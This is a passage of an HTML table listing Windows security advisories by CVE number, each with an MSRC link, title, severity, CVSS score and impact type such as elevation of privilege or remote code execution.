  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
